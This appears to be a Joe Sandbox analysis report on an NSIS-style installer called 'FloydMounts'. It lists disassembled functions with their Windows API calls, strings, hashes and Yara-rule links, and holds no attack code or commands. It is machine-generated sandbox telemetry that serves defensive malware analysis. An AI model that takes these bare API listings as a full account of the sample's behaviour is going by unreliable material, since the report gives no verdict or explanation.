Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424579,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

A, xrefs: 00404662
F, xrefs: 004046A0

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

%s: failed opening file "%s", xrefs: 00406F38
GetTTFNameString, xrefs: 00406F33
name, xrefs: 00406FEB

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424579,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00424579,74DF23A0,00000000), ref: 00406A73

Strings

F, xrefs: 00406A7F
F, xrefs: 00406858
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

Module32NextW, xrefs: 0040660A
Process32NextW, xrefs: 004065F4
GetModuleBaseNameW, xrefs: 004064C0
EnumProcessModules, xrefs: 004064B6
Unknown, xrefs: 00406528
Module32FirstW, xrefs: 004065FF
Process32FirstW, xrefs: 004065E9
EnumProcesses, xrefs: 004064AE
Kernel32.DLL, xrefs: 004065C7
PSAPI.DLL, xrefs: 00406490
CreateToolhelp32Snapshot, xrefs: 004065E1

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

F, xrefs: 004042D3
open, xrefs: 0040430B
N, xrefs: 00404298

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

NUL, xrefs: 00406ACA
^F, xrefs: 00406ACF
plF, xrefs: 00406B54
%s=%s, xrefs: 00406B6F
[Rename], xrefs: 00406BF4, 00406C03

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
